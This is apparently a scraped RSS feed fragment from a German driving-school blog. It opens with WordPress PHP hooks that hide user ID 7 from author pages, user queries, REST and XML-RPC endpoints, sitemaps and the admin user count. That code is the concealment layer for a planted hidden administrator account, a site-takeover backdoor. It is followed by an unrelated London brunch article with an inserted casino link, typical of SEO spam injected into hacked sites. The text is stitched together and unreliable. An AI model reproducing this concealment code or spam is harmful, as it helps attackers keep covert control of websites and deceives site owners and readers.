add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 7;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 7 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 7 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 7;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 7;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 7;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/7(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 7;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Der Beitrag Did you know a single Sunday brunch can cost you as much as a mid‑week dinner plus a cup of coffee? That’s the price of a decent egg‑white omelette, a croissant, and a glass of prosecco in the heart of London. erschien zuerst auf Fahrschule GoGreen.
]]>Southwark’s Borough Market offers a street‑food feel with over 50 stalls, while Chelsea’s Chelsea Physic Garden hosts a garden‑party brunch that serves 30‑piece platters of smoked salmon and lemon‑yogurt mousse. If you want a relaxed, family‑friendly environment, head to Greenwich’s historic taverns, where the kitchen opens at 11:00 am and the menu includes a classic British roast with a side of Yorkshire pudding.
Most high‑end brunch spots book up by 10 am on Sundays. Call the venue at least two weeks ahead. If you’re flexible, some places accept walk‑ins with a wait of 30 minutes, which can be a good test of the staff’s efficiency.
Ask the chef if they can swap the butter on the croissant for a light drizzle of olive oil; it cuts the saturated fat by 20 %.

Most venues open at 10:30 am. Arriving at 10:45 am gives you a 15‑minute buffer before the lunch crowd peaks at 12:00 pm. If you’re a late riser, consider a 1:30 pm slot – the dishes are still fresh, but the crowd has thinned.
Bring a small basket of homemade jam or a bottle of local honey. Offer it to the kitchen and watch the chef incorporate it into a bespoke sauce or glaze. It’s a small gesture that elevates the meal and shows genuine appreciation for the staff.
Take a single photo of the table set with a natural light source. Post it to Instagram with the hashtag #LondonBrunchLife. Avoid over‑editing; the goal is authenticity, not a glossy advertisement.
After the feast, stroll through the nearby park or pop into a local bookshop. If you’re craving a bit of entertainment, you might find yourself wandering into a quirky bar or a small theatre. Speaking of entertainment, many people enjoy a quick session of online gaming to unwind after a busy day, and some even find a spot like hadesbet casino to test their luck while sipping a late‑afternoon coffee.
Write a concise review on TripAdvisor or Google Maps. Mention the dish you liked best, the staff’s friendliness, and any quirks you noticed. A 200‑word review is enough to help future brunch‑seekers without sounding like a press release.
By choosing the right location, timing, and menu, and by adding a personal touch, your Sunday brunch can become a highlight of the week. Remember, the best brunches are those that feel effortless, yet thoughtfully curated. Enjoy the process, and let the city’s culinary diversity inspire you to try something new each week.
Der Beitrag Did you know a single Sunday brunch can cost you as much as a mid‑week dinner plus a cup of coffee? That’s the price of a decent egg‑white omelette, a croissant, and a glass of prosecco in the heart of London. erschien zuerst auf Fahrschule GoGreen.
]]>